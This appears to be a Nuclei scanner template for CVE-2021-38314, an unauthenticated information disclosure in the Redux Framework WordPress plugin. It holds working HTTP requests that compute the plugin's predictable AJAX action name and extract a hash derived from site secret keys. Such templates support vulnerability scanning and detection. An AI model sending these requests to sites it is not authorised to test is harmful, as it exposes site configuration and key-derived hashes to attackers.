nuclei-templates/cves/2021/CVE-2021-38314.yaml

52 lines
1.9 KiB
YAML
Raw Normal View History

id: CVE-2021-38314
2021-09-16 14:08:12 +00:00
info:
name: Redux Framework - Unauthenticated Sensitive Information Disclosure
2021-09-16 14:08:12 +00:00
author: meme-lord
severity: medium
2021-09-17 09:50:33 +00:00
reference:
- https://www.wordfence.com/blog/2021/09/over-1-million-sites-affected-by-redux-framework-vulnerabilities/
- https://wahaz.medium.com/unauthenticated-sensitive-information-disclosure-at-redacted-2702224098c
- https://blog.sorcery.ie/posts/redux_wordpress/
2021-09-21 08:03:21 +00:00
tags: cve,cve2021,wordpress,wp-plugin
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.30
cve-id: CVE-2021-38314
description: "The Gutenberg Template Library & Redux Framework plugin <= 4.2.11 for WordPress registered several AJAX actions available to unauthenticated users in the `includes` function in `redux-core/class-redux-core.php` that were unique to a given site but deterministic and predictable given that they were based on an md5 hash of the site URL with a known salt value of '-redux' and an md5 hash of the previous hash with a known salt value of '-support'. These AJAX actions could be used to retrieve a list of active plugins and their versions, the site's PHP version, and an unsalted md5 hash of site's `AUTH_KEY` concatenated with the `SECURE_AUTH_KEY`."
2021-09-16 14:08:12 +00:00
requests:
- raw:
- |
GET /wp-admin/admin-ajax.php?action={{md5(replace('http://HOST/-redux','HOST',Hostname))}} HTTP/1.1
Host: {{Hostname}}
Accept: */*
- |
GET /wp-admin/admin-ajax.php?action={{md5(replace('https://HOST/-redux','HOST',Hostname))}} HTTP/1.1
Host: {{Hostname}}
Accept: */*
stop-at-first-match: true
matchers-condition: and
matchers:
- type: dsl
dsl:
- "len(body)<50"
- type: regex
name: meme
regex:
- '[a-f0-9]{32}'
part: body
- type: status
status:
- 200
extractors:
- type: regex
part: body
regex:
- "[a-f0-9]{32}"